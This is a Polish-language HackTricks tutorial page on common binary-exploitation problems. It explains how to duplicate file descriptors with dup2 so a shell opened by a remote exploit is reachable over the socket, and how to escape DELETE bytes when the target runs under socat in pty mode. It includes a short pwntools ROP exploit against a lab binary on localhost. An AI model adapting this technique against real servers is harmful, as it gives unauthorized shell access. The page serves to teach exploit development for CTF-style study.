hacktricks/binary-exploitation/common-exploiting-problems.md

45 lines
3 KiB
Markdown
Raw Normal View History

# Powszechne Problemy Wykorzystywania
<details>
<summary><strong>Zacznij od zera i stań się ekspertem w hakowaniu AWS dzięki</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Czy pracujesz w **firmie zajmującej się cyberbezpieczeństwem**? Chcesz zobaczyć, jak Twoja **firma jest reklamowana na HackTricks**? lub chcesz mieć dostęp do **najnowszej wersji PEASS lub pobrać HackTricks w formacie PDF**? Sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* **Dołącz do** [**💬**](https://emojipedia.org/speech-balloon/) [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** mnie na **Twitterze** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**repozytorium hacktricks**](https://github.com/carlospolop/hacktricks) **i** [**repozytorium hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
## FDs w Eksploatacji Zdalnej
Podczas wysyłania exploitu do zdalnego serwera, który wywołuje **`system('/bin/sh')`** na przykład, ta operacja zostanie wykonana w procesie serwera, a `/bin/sh` będzie oczekiwać danych wejściowych z stdin (FD: `0`) oraz będzie drukować wyniki w stdout i stderr (FDs `1` i `2`). W związku z tym atakujący nie będzie mógł interaktywnie korzystać z powłoki.
Sposobem na rozwiązanie tego problemu jest założenie, że gdy serwer został uruchomiony, utworzył **numer FD `3`** (do nasłuchiwania), a następnie Twoje połączenie będzie w **numerze FD `4`**. Dlatego możliwe jest użycie wywołania systemowego **`dup2`** do zduplikowania stdin (FD 0) i stdout (FD 1) w FD 4 (tego, który jest połączony z atakującym), co umożliwi nawiązanie kontaktu z powłoką po jej wykonaniu.
[**Przykład exploitu stąd**](https://ir0nstone.gitbook.io/notes/types/stack/exploiting-over-sockets/exploit):
```python
from pwn import *
elf = context.binary = ELF('./vuln')
p = remote('localhost', 9001)
rop = ROP(elf)
rop.raw('A' * 40)
rop.dup2(4, 0)
rop.dup2(4, 1)
rop.win()
p.sendline(rop.chain())
p.recvuntil('Thanks!\x00')
p.interactive()
```
## Socat & pty
Należy zauważyć, że socat już przesyła **`stdin`** i **`stdout`** do gniazda. Jednak tryb `pty` **obejmuje znaki DELETE**. Dlatego jeśli wyślesz `\x7f` (`DELETE` -) to **usunie poprzedni znak** twojego exploitu.
Aby ominąć to, **znak ucieczki `\x16` musi być poprzedzony przez każde `\x7f` wysłane.**
**Tutaj możesz** [**znaleźć przykład tego zachowania**](https://ir0nstone.gitbook.io/hackthebox/challenges/pwn/dream-diary-chapter-1/unlink-exploit)**.**